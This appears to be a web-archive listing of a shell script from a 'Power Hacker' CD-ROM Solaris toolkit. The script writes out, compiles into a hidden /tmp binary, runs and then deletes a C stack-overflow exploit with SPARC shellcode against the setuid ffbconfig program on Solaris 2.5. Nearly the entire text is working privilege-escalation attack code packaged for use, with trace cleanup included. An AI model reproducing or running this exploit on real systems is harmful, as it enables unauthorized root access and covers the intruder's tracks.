home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / solaris-toolkit / soltool / doffb.55 < prev    next >
Encoding:
Text File  |  2002-05-27  |  1.8 KB  |  83 lines

  1. function doffbconfig {
  2.  
  3.         if [ -s /tmp/ffbex.c ]; then
  4.                 /bin/rm /tmp/ffbex.c
  5.                 doffbconfig
  6.         else
  7.  
  8. /bin/cat > /tmp/ffbex.c << STOP
  9. /*
  10. This works on Solaris 2.5 wiz /usr/sbin/ffbconfig
  11. */
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <sys/types.h>
  16. #include <unistd.h>
  17.  
  18. #define BUF_LENGTH      128
  19. #define EXTRA           256
  20. #define STACK_OFFSET    128
  21. #define SPARC_NOP       0xa61cc013
  22.  
  23. u_char sparc_shellcode[] =
  24. "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
  25. "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
  26. "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
  27. "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  28. "\x82\x10\x20\x3b\x91\xd4\xff\xff";
  29.  
  30. u_long get_sp(void)
  31. {
  32.   __asm__("mov %sp,%i0 \n");
  33. }
  34.  
  35. void main(int argc, char *argv[])
  36. {
  37.   char buf[BUF_LENGTH + EXTRA];
  38.   long targ_addr;
  39.   u_long *long_p;
  40.   u_char *char_p;
  41.   int i, code_length = strlen(sparc_shellcode),so;
  42.  
  43.   long_p = (u_long *) buf;
  44.  
  45.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  46.     *long_p++ = SPARC_NOP;
  47.  
  48.   char_p = (u_char *) long_p;
  49.  
  50.   for (i = 0; i < code_length; i++)
  51.     *char_p++ = sparc_shellcode[i];
  52.  
  53.   long_p = (u_long *) char_p;
  54.  
  55.   targ_addr = get_sp() - STACK_OFFSET;
  56.   for (i = 0; i < EXTRA / sizeof(u_long); i++)
  57.     *long_p++ =targ_addr;
  58.  
  59.   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  60. targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  61.  
  62.   execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  63.   perror("execl failed");
  64. }
  65. STOP
  66.  
  67. cc -o /tmp/.ffbex -O /tmp/ffbex.c 2> /dev/null
  68. /bin/rm /tmp/ffbex.c
  69. echo " "
  70.  
  71. if [ -s /tmp/.ffbex ]; then
  72.         /tmp/.ffbex
  73.         else
  74.                 echo " oOo Ffbconfig exploit failed."
  75.                 echo " "
  76.         exit 1
  77. fi
  78.  
  79. /bin/rm /tmp/.ffbex
  80. exit 0
  81. fi
  82. }
  83.